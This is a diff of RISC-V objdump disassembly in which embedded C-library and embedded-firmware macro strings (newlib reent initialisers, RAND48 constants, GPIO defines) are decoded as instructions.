-    5a9a:	3178                	fld	fa4,224(a0)
-    5a9c:	3030                	fld	fa2,96(s0)
-    5a9e:	0030                	addi	a2,sp,8
-    5aa0:	525f 4e41 3444      	0x34444e41525f
-    5aa6:	5f38                	lw	a4,120(a4)
-    5aa8:	554d                	li	a0,-13
-    5aaa:	544c                	lw	a1,44(s0)
-    5aac:	315f 2820 7830      	0x78302820315f
-    5ab2:	6564                	flw	fs1,76(a0)
-    5ab4:	6365                	lui	t1,0x19
-    5ab6:	0029                	c.nop	10
-    5ab8:	535f 5f43 4c43      	0x4c435f43535f
-    5abe:	43545f4b          	fnmsub.d	ft10,fs0,fs5,fs0,unknown
-    5ac2:	0032204b          	fnmsub.s	ft0,ft4,ft3,ft0,rdn
-    5ac6:	5f5f 4c46 3354      	0x33544c465f5f
-    5acc:	5f32                	lw	t5,44(sp)
-    5ace:	414d                	li	sp,19
-    5ad0:	5f58                	lw	a4,60(a4)
-    5ad2:	3031                	jal	52de <__stack_size+0x4ade>
-    5ad4:	455f 5058 5f5f      	0x5f5f5058455f
-    5ada:	3320                	fld	fs0,96(a4)
-    5adc:	0038                	addi	a4,sp,8
-    5ade:	535f 5f43 5254      	0x52545f43535f
-    5ae4:	4341                	li	t1,16
-    5ae6:	5f45                	li	t5,-15
-    5ae8:	5645                	li	a2,-15
-    5aea:	4e45                	li	t3,17
-    5aec:	5f54                	lw	a3,60(a4)
-    5aee:	4946                	lw	s2,80(sp)
-    5af0:	544c                	lw	a1,44(s0)
-    5af2:	5245                	li	tp,-15
-    5af4:	3820                	fld	fs0,112(s0)
-    5af6:	0034                	addi	a3,sp,8
-    5af8:	5f5f 4c46 3654      	0x36544c465f5f
-    5afe:	5f34                	lw	a3,120(a4)
-    5b00:	5045                	c.li	zero,-15
-    5b02:	4f4c4953          	0x4f4c4953
-    5b06:	5f4e                	lw	t5,240(sp)
-    5b08:	205f 2e32 3232      	0x32322e32205f
-    5b0e:	3430                	fld	fa2,104(s0)
-    5b10:	3634                	fld	fa3,104(a2)
-    5b12:	3430                	fld	fa2,104(s0)
-    5b14:	3239                	jal	5422 <__stack_size+0x4c22>
-    5b16:	3035                	jal	5342 <__stack_size+0x4b42>
-    5b18:	30333133          	0x30333133
-    5b1c:	3038                	fld	fa4,96(s0)
-    5b1e:	3438                	fld	fa4,104(s0)
-    5b20:	33363237          	lui	tp,0x33363
-    5b24:	31363333          	0x31363333
-    5b28:	3138                	fld	fa4,96(a0)
-    5b2a:	3436                	fld	fs0,360(sp)
-    5b2c:	3630                	fld	fa2,104(a2)
-    5b2e:	6532                	flw	fa0,12(sp)
-    5b30:	312d                	jal	575a <__stack_size+0x4f5a>
-    5b32:	4636                	lw	a2,76(sp)
-    5b34:	3436                	fld	fs0,360(sp)
-    5b36:	5f00                	lw	s0,56(a4)
-    5b38:	4552                	lw	a0,20(sp)
-    5b3a:	4e45                	li	t3,17
-    5b3c:	5f54                	lw	a3,60(a4)
-    5b3e:	4152                	lw	sp,20(sp)
-    5b40:	444e                	lw	s0,208(sp)
-    5b42:	3834                	fld	fa3,112(s0)
-    5b44:	4d5f 4c55 2854      	0x28544c554d5f
-    5b4a:	7470                	flw	fa2,108(s0)
-    5b4c:	2972                	fld	fs2,280(sp)
-    5b4e:	2820                	fld	fs0,80(s0)
-    5b50:	7028                	flw	fa0,96(s0)
-    5b52:	7274                	flw	fa3,100(a2)
-    5b54:	2d29                	jal	616e <__stack_size+0x596e>
-    5b56:	5f3e                	lw	t5,236(sp)
-    5b58:	656e                	flw	fa0,216(sp)
-    5b5a:	725f2e77          	0x725f2e77
-    5b5e:	6565                	lui	a0,0x19
-    5b60:	746e                	flw	fs0,248(sp)
-    5b62:	5f2e                	lw	t5,232(sp)
-    5b64:	3472                	fld	fs0,312(sp)
-    5b66:	2e38                	fld	fa4,88(a2)
-    5b68:	6d5f 6c75 2974      	0x29746c756d5f
-    5b6e:	5f00                	lw	s0,56(a4)
-    5b70:	525f4353          	0x525f4353
-    5b74:	4145                	li	sp,17
-    5b76:	544c                	lw	a1,44(s0)
-    5b78:	4d49                	li	s10,18
-    5b7a:	5f45                	li	t5,-15
-    5b7c:	4e474953          	0x4e474953
-    5b80:	4c41                	li	s8,16
-    5b82:	39322053          	0x39322053
-    5b86:	4900                	lw	s0,16(a0)
-    5b88:	544e                	lw	s0,240(sp)
-    5b8a:	4c5f 4145 5453      	0x545341454c5f
-    5b90:	4d5f3233          	0x4d5f3233
-    5b94:	4e49                	li	t3,18
-    5b96:	2820                	fld	fs0,80(s0)
-    5b98:	492d                	li	s2,11
-    5b9a:	544e                	lw	s0,240(sp)
-    5b9c:	4c5f 4145 5453      	0x545341454c5f
-    5ba2:	4d5f3233          	0x4d5f3233
-    5ba6:	5841                	li	a6,-16
-    5ba8:	2d20                	fld	fs0,88(a0)
-    5baa:	3120                	fld	fs0,96(a0)
-    5bac:	0029                	c.nop	10
-    5bae:	5f5f 6972 6373      	0x637369725f5f
-    5bb4:	5f76                	lw	t5,124(sp)
-    5bb6:	6c66                	flw	fs8,88(sp)
-    5bb8:	5f74616f          	jal	sp,4c9ae <__stack_size+0x4c1ae>
-    5bbc:	6261                	lui	tp,0x18
-    5bbe:	5f69                	li	t5,-6
-    5bc0:	74666f73          	csrrsi	t5,0x746,12
-    5bc4:	3120                	fld	fs0,96(a0)
-    5bc6:	5f00                	lw	s0,56(a4)
-    5bc8:	505f 4152 4d47      	0x4d474152505f
-    5bce:	5f41                	li	t5,-16
-    5bd0:	4552                	lw	a0,20(sp)
-    5bd2:	4544                	lw	s1,12(a0)
-    5bd4:	4946                	lw	s2,80(sp)
-    5bd6:	454e                	lw	a0,208(sp)
-    5bd8:	455f 5458 414e      	0x414e5458455f
-    5bde:	454d                	li	a0,19
-    5be0:	3120                	fld	fs0,96(a0)
-    5be2:	5f00                	lw	s0,56(a4)
-    5be4:	495f4353          	0x495f4353
-    5be8:	4d5f564f          	0x4d5f564f
-    5bec:	5841                	li	a6,-16
-    5bee:	3620                	fld	fs0,104(a2)
-    5bf0:	0036                	c.slli	zero,0xd
-    5bf2:	5f5f 4953 455a      	0x455a49535f5f
-    5bf8:	495f464f          	fnmadd.s	fa2,ft10,fs5,fs1,rmm
-    5bfc:	544e                	lw	s0,240(sp)
-    5bfe:	5f5f 3420 4600      	0x460034205f5f
-    5c04:	4c5f 434f 204b      	0x204b434f4c5f
-    5c0a:	0031                	c.nop	12
-    5c0c:	5f5f 444c 4c42      	0x4c42444c5f5f
-    5c12:	485f 5341 445f      	0x445f5341485f
-    5c18:	4e45                	li	t3,17
-    5c1a:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
-    5c1e:	205f 0031 5343      	0x53430031205f
-    5c24:	5f52                	lw	t5,52(sp)
-    5c26:	494d                	li	s2,19
-    5c28:	534e                	lw	t1,240(sp)
-    5c2a:	5254                	lw	a3,36(a2)
-    5c2c:	5445                	li	s0,-15
-    5c2e:	2048                	fld	fa0,128(s0)
-    5c30:	3831                	jal	544c <__stack_size+0x4c4c>
-    5c32:	5f00                	lw	s0,56(a4)
-    5c34:	4e41                	li	t3,16
-    5c36:	535f4953          	0x535f4953
-    5c3a:	4454                	lw	a3,12(s0)
-    5c3c:	4544                	lw	s1,12(a0)
-    5c3e:	5f46                	lw	t5,112(sp)
-    5c40:	2048                	fld	fa0,128(s0)
-    5c42:	4300                	lw	s0,0(a4)
-    5c44:	494c                	lw	a1,20(a0)
-    5c46:	544e                	lw	s0,240(sp)
-    5c48:	4d5f 4954 454d      	0x454d49544d5f
-    5c4e:	3020                	fld	fs0,96(s0)
-    5c50:	4278                	lw	a4,68(a2)
-    5c52:	4646                	lw	a2,80(sp)
-    5c54:	0038                	addi	a4,sp,8
-    5c56:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    5c5a:	505f 4c55 554c      	0x554c4c55505f
-    5c60:	5f50                	lw	a2,60(a4)
-    5c62:	4e45                	li	t3,17
-    5c64:	3020                	fld	fs0,96(s0)
-    5c66:	3178                	fld	fa4,224(a0)
-    5c68:	0030                	addi	a2,sp,8
-    5c6a:	525f 4e41 3444      	0x34444e41525f
-    5c70:	5f38                	lw	a4,120(a4)
-    5c72:	554d                	li	a0,-13
-    5c74:	544c                	lw	a1,44(s0)
-    5c76:	325f 2820 7830      	0x78302820325f
-    5c7c:	3030                	fld	fa2,96(s0)
-    5c7e:	3530                	fld	fa2,104(a0)
-    5c80:	0029                	c.nop	10
-    5c82:	7270                	flw	fa2,100(a2)
-    5c84:	6e69                	lui	t3,0x1a
-    5c86:	5f74                	lw	a3,124(a4)
-    5c88:	6d70                	flw	fa2,92(a0)
-    5c8a:	0070                	addi	a2,sp,12
-    5c8c:	535f 5f43 5053      	0x50535f43535f
-    5c92:	5741                	li	a4,-16
-    5c94:	204e                	fld	ft0,208(sp)
-    5c96:	5f003537          	lui	a0,0x5f003
-    5c9a:	435f 5f43 5553      	0x55535f43435f
-    5ca0:	5050                	lw	a2,36(s0)
-    5ca2:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
-    5ca6:	565f 5241 4441      	0x44415241565f
-    5cac:	4349                	li	t1,18
-    5cae:	585f 5858 3120      	0x31205858585f
-    5cb4:	5f00                	lw	s0,56(a4)
-    5cb6:	475f 4343 415f      	0x415f4343475f
-    5cbc:	4f54                	lw	a3,28(a4)
-    5cbe:	494d                	li	s2,19
-    5cc0:	4e495f43          	fmadd.q	ft10,fs2,ft4,fs1,unknown
-    5cc4:	5f54                	lw	a3,60(a4)
-    5cc6:	4f4c                	lw	a1,28(a4)
-    5cc8:	465f4b43          	fmadd.q	fs6,ft10,ft5,fs0,rmm
-    5ccc:	4552                	lw	a0,20(sp)
-    5cce:	2045                	jal	5d6e <__stack_size+0x556e>
-    5cd0:	0032                	c.slli	zero,0xc
-    5cd2:	5f5f 4c46 3654      	0x36544c465f5f
-    5cd8:	5f34                	lw	a3,120(a4)
-    5cda:	414d                	li	sp,19
-    5cdc:	5f58                	lw	a4,60(a4)
-    5cde:	5845                	li	a6,-15
-    5ce0:	5f50                	lw	a2,60(a4)
-    5ce2:	205f 3031 3432      	0x34323031205f
-    5ce8:	5f00                	lw	s0,56(a4)
-    5cea:	6c5f 636f 616b      	0x616b636f6c5f
-    5cf0:	6c62                	flw	fs8,24(sp)
-    5cf2:	2065                	jal	5d9a <__stack_size+0x559a>
-    5cf4:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    5cfa:	615f 6e6e 746f      	0x746f6e6e615f
-    5d00:	7461                	lui	s0,0xffff8
-    5d02:	2865                	jal	5dba <__stack_size+0x55ba>
-    5d04:	6f6c                	flw	fa1,92(a4)
-    5d06:	62616b63          	bltu	sp,t1,633c <__stack_size+0x5b3c>
-    5d0a:	656c                	flw	fa1,76(a0)
-    5d0c:	0029                	c.nop	10
-    5d0e:	4346                	lw	t1,80(sp)
-    5d10:	4552                	lw	a0,20(sp)
-    5d12:	5441                	li	s0,-16
-    5d14:	5f20                	lw	s0,120(a4)
-    5d16:	4346                	lw	t1,80(sp)
-    5d18:	4552                	lw	a0,20(sp)
-    5d1a:	5441                	li	s0,-16
-    5d1c:	5f00                	lw	s0,56(a4)
-    5d1e:	685f 7361 655f      	0x655f7361685f
-    5d24:	7478                	flw	fa4,108(s0)
-    5d26:	6e65                	lui	t3,0x19
-    5d28:	6e6f6973          	csrrsi	s2,0x6e6,30
-    5d2c:	5f20                	lw	s0,120(a4)
-    5d2e:	685f 7361 665f      	0x665f7361685f
-    5d34:	6165                	addi	sp,sp,112
-    5d36:	7574                	flw	fa3,108(a0)
-    5d38:	6572                	flw	fa0,28(sp)
-    5d3a:	5f00                	lw	s0,56(a4)
-    5d3c:	525f 4745 5349      	0x53494745525f
-    5d42:	4554                	lw	a3,12(a0)
-    5d44:	5f52                	lw	t5,52(sp)
-    5d46:	5250                	lw	a2,36(a2)
-    5d48:	4645                	li	a2,17
-    5d4a:	5849                	li	a6,-14
-    5d4c:	5f5f 0020 5f5f      	0x5f5f00205f5f
-    5d52:	6e75                	lui	t3,0x1d
-    5d54:	6f6c                	flw	fa1,92(a4)
-    5d56:	28736b63          	bltu	t1,t2,5fec <__stack_size+0x57ec>
-    5d5a:	2e2e                	fld	ft8,200(sp)
-    5d5c:	292e                	fld	fs2,200(sp)
-    5d5e:	5f20                	lw	s0,120(a4)
-    5d60:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    5d66:	6e61                	lui	t3,0x18
-    5d68:	6f6e                	flw	ft10,216(sp)
-    5d6a:	6174                	flw	fa3,68(a0)
-    5d6c:	6574                	flw	fa3,76(a0)
-    5d6e:	7528                	flw	fa0,104(a0)
-    5d70:	6c6e                	flw	fs8,216(sp)
-    5d72:	5f6b636f          	jal	t1,bc368 <__stack_size+0xbbb68>
-    5d76:	7566                	flw	fa0,120(sp)
-    5d78:	636e                	flw	ft6,216(sp)
-    5d7a:	6974                	flw	fa3,84(a0)
-    5d7c:	5f286e6f          	jal	t3,8c36e <__stack_size+0x8bb6e>
-    5d80:	565f 5f41 5241      	0x52415f41565f
-    5d86:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    5d8a:	2929                	jal	61a4 <__stack_size+0x59a4>
-    5d8c:	5300                	lw	s0,32(a4)
-    5d8e:	4454                	lw	a3,12(s0)
-    5d90:	4e49                	li	t3,18
-    5d92:	465f 4c49 4e45      	0x4e454c49465f
-    5d98:	0030204f          	fnmadd.s	ft0,ft0,ft3,ft0,rdn
-    5d9c:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
-    5da0:	525f 5349 5f45      	0x5f455349525f
-    5da6:	5049                	c.li	zero,-14
-    5da8:	3020                	fld	fs0,96(s0)
-    5daa:	3178                	fld	fa4,224(a0)
-    5dac:	53460043          	fmadd.d	ft0,fa2,fs4,fa0,rne
-    5db0:	4e59                	li	t3,22
-    5db2:	465f2043          	fmadd.q	ft0,ft10,ft5,fs0,rdn
-    5db6:	434e5953          	0x434e5953
-    5dba:	5f00                	lw	s0,56(a4)
-    5dbc:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    5dc2:	736f6c63          	bltu	t5,s6,64fa <__stack_size+0x5cfa>
-    5dc6:	2865                	jal	5e7e <__stack_size+0x567e>
-    5dc8:	6f6c                	flw	fa1,92(a4)
-    5dca:	20296b63          	bltu	s2,sp,5fe0 <__stack_size+0x57e0>
-    5dce:	2828                	fld	fa0,80(s0)
-    5dd0:	6f76                	flw	ft10,92(sp)
-    5dd2:	6469                	lui	s0,0x1a
-    5dd4:	2029                	jal	5dde <__stack_size+0x55de>
-    5dd6:	2930                	fld	fa2,80(a0)
-    5dd8:	5300                	lw	s0,32(a4)
-    5dda:	4545                	li	a0,17
-    5ddc:	55435f4b          	0x55435f4b
-    5de0:	2052                	fld	ft0,272(sp)
-    5de2:	0031                	c.nop	12
-    5de4:	5f5f 6177 6e72      	0x6e7261775f5f
-    5dea:	725f 6665 7265      	0x72656665725f
-    5df0:	6e65                	lui	t3,0x19
-    5df2:	28736563          	bltu	t1,t2,607c <__stack_size+0x587c>
-    5df6:	2c6d7973          	csrrci	s2,0x2c6,26
-    5dfa:	736d                	lui	t1,0xffffb
-    5dfc:	5f202967          	0x5f202967
-    5e00:	615f 6d73 5f5f      	0x5f5f6d73615f
-    5e06:	2228                	fld	fa0,64(a2)
-    5e08:	732e                	flw	ft6,232(sp)
-    5e0a:	6365                	lui	t1,0x19
-    5e0c:	6974                	flw	fa3,84(a0)
-    5e0e:	2e206e6f          	jal	t3,c0f0 <__stack_size+0xb8f0>
-    5e12:	2e756e67          	0x2e756e67
-    5e16:	6e726177          	0x6e726177
-    5e1a:	6e69                	lui	t3,0x1a
-    5e1c:	20222e67          	0x20222e67
-    5e20:	6d797323          	0x6d797323
-    5e24:	3b29                	jal	5b3e <__stack_size+0x533e>
-    5e26:	5f20                	lw	s0,120(a4)
-    5e28:	615f 6d73 5f5f      	0x5f5f6d73615f
-    5e2e:	2228                	fld	fa0,64(a2)
-    5e30:	612e                	flw	ft2,200(sp)
-    5e32:	7a696373          	csrrsi	t1,0x7a6,18
-    5e36:	5c20                	lw	s0,120(s0)
-    5e38:	2222                	fld	ft4,8(sp)
-    5e3a:	6d20                	flw	fs0,88(a0)
-    5e3c:	22206773          	csrrsi	a4,0x222,0
-    5e40:	225c                	fld	fa5,128(a2)
-    5e42:	2922                	fld	fs2,8(sp)
-    5e44:	5f5f203b          	0x5f5f203b
-    5e48:	7361                	lui	t1,0xffff8
-    5e4a:	5f6d                	li	t5,-5
-    5e4c:	285f 2e22 7270      	0x72702e22285f
-    5e52:	7665                	lui	a2,0xffff9
-    5e54:	6f69                	lui	t5,0x1a
-    5e56:	7375                	lui	t1,0xffffd
-    5e58:	2922                	fld	fs2,8(sp)
-    5e5a:	5f00                	lw	s0,56(a4)
-    5e5c:	4552                	lw	a0,20(sp)
-    5e5e:	4e45                	li	t3,17
-    5e60:	5f54                	lw	a3,60(a4)
-    5e62:	5341                	li	t1,-16
-    5e64:	4d495443          	0x4d495443
-    5e68:	5f45                	li	t5,-15
-    5e6a:	5542                	lw	a0,48(sp)
-    5e6c:	2846                	fld	fa6,80(sp)
-    5e6e:	7470                	flw	fa2,108(s0)
-    5e70:	2972                	fld	fs2,280(sp)
-    5e72:	2820                	fld	fs0,80(s0)
-    5e74:	7028                	flw	fa0,96(s0)
-    5e76:	7274                	flw	fa3,100(a2)
-    5e78:	2d29                	jal	6492 <__stack_size+0x5c92>
-    5e7a:	5f3e                	lw	t5,236(sp)
-    5e7c:	656e                	flw	fa0,216(sp)
-    5e7e:	725f2e77          	0x725f2e77
-    5e82:	6565                	lui	a0,0x19
-    5e84:	746e                	flw	fs0,248(sp)
-    5e86:	5f2e                	lw	t5,232(sp)
-    5e88:	7361                	lui	t1,0xffff8
-    5e8a:	6d697463          	bgeu	s2,s6,6552 <__stack_size+0x5d52>
-    5e8e:	5f65                	li	t5,-7
-    5e90:	7562                	flw	fa0,56(sp)
-    5e92:	2966                	fld	fs2,88(sp)
-    5e94:	5f00                	lw	s0,56(a4)
-    5e96:	4146                	lw	sp,80(sp)
-    5e98:	434e5953          	0x434e5953
-    5e9c:	3020                	fld	fs0,96(s0)
-    5e9e:	3078                	fld	fa4,224(s0)
-    5ea0:	3430                	fld	fa2,104(s0)
-    5ea2:	0030                	addi	a2,sp,8
-    5ea4:	5f5f 4e49 5f54      	0x5f544e495f5f
-    5eaa:	4146                	lw	sp,80(sp)
-    5eac:	5f385453          	0x5f385453
-    5eb0:	5954                	lw	a3,52(a0)
-    5eb2:	4550                	lw	a2,12(a0)
-    5eb4:	5f5f 6920 746e      	0x746e69205f5f
+    58cc:	2220                	fld	fs0,64(a2)
+    58ce:	2c22                	fld	fs8,8(sp)
+    58d0:	3020                	fld	fs0,96(s0)
+    58d2:	202c                	fld	fa1,64(s0)
+    58d4:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    58da:	3020                	fld	fs0,96(s0)
+    58dc:	202c                	fld	fa1,64(s0)
+    58de:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    58e4:	5f20                	lw	s0,120(a4)
+    58e6:	554e                	lw	a0,240(sp)
+    58e8:	4c4c                	lw	a1,28(s0)
+    58ea:	202c                	fld	fa1,64(s0)
+    58ec:	2c30                	fld	fa2,88(s0)
+    58ee:	5f20                	lw	s0,120(a4)
+    58f0:	554e                	lw	a0,240(sp)
+    58f2:	4c4c                	lw	a1,28(s0)
+    58f4:	202c                	fld	fa1,64(s0)
+    58f6:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    58fc:	3020                	fld	fs0,96(s0)
+    58fe:	202c                	fld	fa1,64(s0)
+    5900:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    5906:	7b20                	flw	fs0,112(a4)
+    5908:	7b20                	flw	fs0,112(a4)
+    590a:	3020                	fld	fs0,96(s0)
+    590c:	202c                	fld	fa1,64(s0)
+    590e:	4e5f 4c55 2c4c      	0x2c4c4c554e5f
+    5914:	2220                	fld	fs0,64(a2)
+    5916:	2c22                	fld	fs8,8(sp)
+    5918:	7b20                	flw	fs0,112(a4)
+    591a:	2c30                	fld	fa2,88(s0)
+    591c:	3020                	fld	fs0,96(s0)
+    591e:	202c                	fld	fa1,64(s0)
+    5920:	2c30                	fld	fa2,88(s0)
+    5922:	3020                	fld	fs0,96(s0)
+    5924:	202c                	fld	fa1,64(s0)
+    5926:	2c30                	fld	fa2,88(s0)
+    5928:	3020                	fld	fs0,96(s0)
+    592a:	202c                	fld	fa1,64(s0)
+    592c:	2c30                	fld	fa2,88(s0)
+    592e:	3020                	fld	fs0,96(s0)
+    5930:	202c                	fld	fa1,64(s0)
+    5932:	7d30                	flw	fa2,120(a0)
+    5934:	202c                	fld	fa1,64(s0)
+    5936:	2c30                	fld	fa2,88(s0)
+    5938:	3120                	fld	fs0,96(a0)
+    593a:	202c                	fld	fa1,64(s0)
+    593c:	5f7b207b          	0x5f7b207b
+    5940:	4152                	lw	sp,20(sp)
+    5942:	444e                	lw	s0,208(sp)
+    5944:	3834                	fld	fa3,112(s0)
+    5946:	535f 4545 5f44      	0x5f444545535f
+    594c:	2c30                	fld	fa2,88(s0)
+    594e:	5f20                	lw	s0,120(a4)
+    5950:	4152                	lw	sp,20(sp)
+    5952:	444e                	lw	s0,208(sp)
+    5954:	3834                	fld	fa3,112(s0)
+    5956:	535f 4545 5f44      	0x5f444545535f
+    595c:	2c31                	jal	5b78 <__stack_size+0x5378>
+    595e:	5f20                	lw	s0,120(a4)
+    5960:	4152                	lw	sp,20(sp)
+    5962:	444e                	lw	s0,208(sp)
+    5964:	3834                	fld	fa3,112(s0)
+    5966:	535f 4545 5f44      	0x5f444545535f
+    596c:	7d32                	flw	fs10,44(sp)
+    596e:	202c                	fld	fa1,64(s0)
+    5970:	41525f7b          	0x41525f7b
+    5974:	444e                	lw	s0,208(sp)
+    5976:	3834                	fld	fa3,112(s0)
+    5978:	4d5f 4c55 5f54      	0x5f544c554d5f
+    597e:	2c30                	fld	fa2,88(s0)
+    5980:	5f20                	lw	s0,120(a4)
+    5982:	4152                	lw	sp,20(sp)
+    5984:	444e                	lw	s0,208(sp)
+    5986:	3834                	fld	fa3,112(s0)
+    5988:	4d5f 4c55 5f54      	0x5f544c554d5f
+    598e:	2c31                	jal	5baa <__stack_size+0x53aa>
+    5990:	5f20                	lw	s0,120(a4)
+    5992:	4152                	lw	sp,20(sp)
+    5994:	444e                	lw	s0,208(sp)
+    5996:	3834                	fld	fa3,112(s0)
+    5998:	4d5f 4c55 5f54      	0x5f544c554d5f
+    599e:	7d32                	flw	fs10,44(sp)
+    59a0:	202c                	fld	fa1,64(s0)
+    59a2:	525f 4e41 3444      	0x34444e41525f
+    59a8:	5f38                	lw	a4,120(a4)
+    59aa:	4441                	li	s0,16
+    59ac:	2044                	fld	fs1,128(s0)
+    59ae:	2c7d                	jal	5c6c <__stack_size+0x546c>
+    59b0:	7b20                	flw	fs0,112(a4)
+    59b2:	2c30                	fld	fa2,88(s0)
+    59b4:	7b20                	flw	fs0,112(a4)
+    59b6:	7d30                	flw	fa2,120(a0)
+    59b8:	2c7d                	jal	5c76 <__stack_size+0x5476>
+    59ba:	7b20                	flw	fs0,112(a4)
+    59bc:	2c30                	fld	fa2,88(s0)
+    59be:	7b20                	flw	fs0,112(a4)
+    59c0:	7d30                	flw	fa2,120(a0)
+    59c2:	2c7d                	jal	5c80 <__stack_size+0x5480>
+    59c4:	7b20                	flw	fs0,112(a4)
+    59c6:	2c30                	fld	fa2,88(s0)
+    59c8:	7b20                	flw	fs0,112(a4)
+    59ca:	7d30                	flw	fa2,120(a0)
+    59cc:	2c7d                	jal	5c8a <__stack_size+0x548a>
+    59ce:	2220                	fld	fs0,64(a2)
+    59d0:	2c22                	fld	fs8,8(sp)
+    59d2:	2220                	fld	fs0,64(a2)
+    59d4:	2c22                	fld	fs8,8(sp)
+    59d6:	3020                	fld	fs0,96(s0)
+    59d8:	202c                	fld	fa1,64(s0)
+    59da:	202c307b          	0x202c307b
+    59de:	7d7d307b          	0x7d7d307b
+    59e2:	202c                	fld	fa1,64(s0)
+    59e4:	202c307b          	0x202c307b
+    59e8:	7d7d307b          	0x7d7d307b
+    59ec:	202c                	fld	fa1,64(s0)
+    59ee:	202c307b          	0x202c307b
+    59f2:	7d7d307b          	0x7d7d307b
+    59f6:	202c                	fld	fa1,64(s0)
+    59f8:	202c307b          	0x202c307b
+    59fc:	7d7d307b          	0x7d7d307b
+    5a00:	202c                	fld	fa1,64(s0)
+    5a02:	202c307b          	0x202c307b
+    5a06:	7d7d307b          	0x7d7d307b
+    5a0a:	7d20                	flw	fs0,120(a0)
+    5a0c:	7d20                	flw	fs0,120(a0)
+    5a0e:	202c                	fld	fa1,64(s0)
+    5a10:	525f 4545 544e      	0x544e4545525f
+    5a16:	495f 494e 5f54      	0x5f54494e495f
+    5a1c:	5441                	li	s0,-16
+    5a1e:	5845                	li	a6,-15
+    5a20:	5449                	li	s0,-14
+    5a22:	5f20                	lw	s0,120(a4)
+    5a24:	554e                	lw	a0,240(sp)
+    5a26:	4c4c                	lw	a1,28(s0)
+    5a28:	202c                	fld	fa1,64(s0)
+    5a2a:	554e5f7b          	0x554e5f7b
+    5a2e:	4c4c                	lw	a1,28(s0)
+    5a30:	202c                	fld	fa1,64(s0)
+    5a32:	2c30                	fld	fa2,88(s0)
+    5a34:	5f20                	lw	s0,120(a4)
+    5a36:	554e                	lw	a0,240(sp)
+    5a38:	4c4c                	lw	a1,28(s0)
+    5a3a:	207d                	jal	5ae8 <__stack_size+0x52e8>
+    5a3c:	007d                	c.nop	31
+    5a3e:	5f5f 4c46 3654      	0x36544c465f5f
+    5a44:	5834                	lw	a3,112(s0)
+    5a46:	445f 4749 5f5f      	0x5f5f4749445f
+    5a4c:	3320                	fld	fs0,96(a4)
+    5a4e:	475f0033          	0x475f0033
+    5a52:	4f4c                	lw	a1,28(a4)
+    5a54:	4142                	lw	sp,16(sp)
+    5a56:	5f4c                	lw	a1,60(a4)
+    5a58:	5441                	li	s0,-16
+    5a5a:	5845                	li	a6,-15
+    5a5c:	5449                	li	s0,-14
+    5a5e:	2820                	fld	fs0,80(s0)
+    5a60:	475f 4f4c 4142      	0x41424f4c475f
+    5a66:	5f4c                	lw	a1,60(a4)
+    5a68:	4552                	lw	a0,20(sp)
+    5a6a:	4e45                	li	t3,17
+    5a6c:	2d54                	fld	fa3,152(a0)
+    5a6e:	5f3e                	lw	t5,236(sp)
+    5a70:	7461                	lui	s0,0xffff8
+    5a72:	7865                	lui	a6,0xffff9
+    5a74:	7469                	lui	s0,0xffffa
+    5a76:	0029                	c.nop	10
+    5a78:	5f5f 6f6e 6e6e      	0x6e6e6f6e5f5f
+    5a7e:	6c75                	lui	s8,0x1d
+    5a80:	286c                	fld	fa1,208(s0)
+    5a82:	2978                	fld	fa4,208(a0)
+    5a84:	5f20                	lw	s0,120(a4)
+    5a86:	615f 7474 6972      	0x69727474615f
+    5a8c:	7562                	flw	fa0,56(sp)
+    5a8e:	6574                	flw	fa3,76(a0)
+    5a90:	5f5f 2828 5f5f      	0x5f5f28285f5f
+    5a96:	6f6e                	flw	ft10,216(sp)
+    5a98:	6e6e                	flw	ft8,216(sp)
+    5a9a:	6c75                	lui	s8,0x1d
+    5a9c:	5f6c                	lw	a1,124(a4)
+    5a9e:	205f 2978 0029      	0x292978205f
+    5aa4:	425f 4453 535f      	0x535f4453425f
+    5aaa:	5a49                	li	s4,-14
+    5aac:	5f45                	li	t5,-15
+    5aae:	5f54                	lw	a3,60(a4)
+    5ab0:	0020                	addi	s0,sp,8
+    5ab2:	4955                	li	s2,21
+    5ab4:	544e                	lw	s0,240(sp)
+    5ab6:	3631                	jal	55c2 <__stack_size+0x4dc2>
+    5ab8:	435f 6328 2029      	0x20296328435f
+    5abe:	5f5f 4955 544e      	0x544e49555f5f
+    5ac4:	3631                	jal	55d0 <__stack_size+0x4dd0>
+    5ac6:	435f 6328 0029      	0x296328435f
+    5acc:	5f5f 4e49 5054      	0x50544e495f5f
+    5ad2:	5254                	lw	a3,36(a2)
+    5ad4:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    5ada:	3020                	fld	fs0,96(s0)
+    5adc:	3778                	fld	fa4,232(a4)
+    5ade:	6666                	flw	fa2,88(sp)
+    5ae0:	6666                	flw	fa2,88(sp)
+    5ae2:	6666                	flw	fa2,88(sp)
+    5ae4:	0066                	c.slli	zero,0x19
+    5ae6:	5750                	lw	a2,44(a4)
+    5ae8:	5f4d                	li	t5,-13
+    5aea:	5f474643          	fmadd.q	fa2,fa4,fs4,fa1,rmm
+    5aee:	31504d43          	fmadd.s	fs10,ft0,fs5,ft6,rmm
+    5af2:	5049                	c.li	zero,-14
+    5af4:	3020                	fld	fs0,96(s0)
+    5af6:	3278                	fld	fa4,224(a2)
+    5af8:	3030                	fld	fa2,96(s0)
+    5afa:	3030                	fld	fa2,96(s0)
+    5afc:	3030                	fld	fa2,96(s0)
+    5afe:	0030                	addi	a2,sp,8
+    5b00:	5f5f 6163 6464      	0x646461635f5f
+    5b06:	5f72                	lw	t5,60(sp)
+    5b08:	5f74                	lw	a3,124(a4)
+    5b0a:	6564                	flw	fs1,76(a0)
+    5b0c:	6966                	flw	fs2,88(sp)
+    5b0e:	656e                	flw	fa0,216(sp)
+    5b10:	2064                	fld	fs1,192(s0)
+    5b12:	4600                	lw	s0,8(a2)
+    5b14:	535f 5445 4b4c      	0x4b4c5445535f
+    5b1a:	00392057          	0x392057
+    5b1e:	5f5f 4347 5f43      	0x5f4343475f5f
+    5b24:	5441                	li	s0,-16
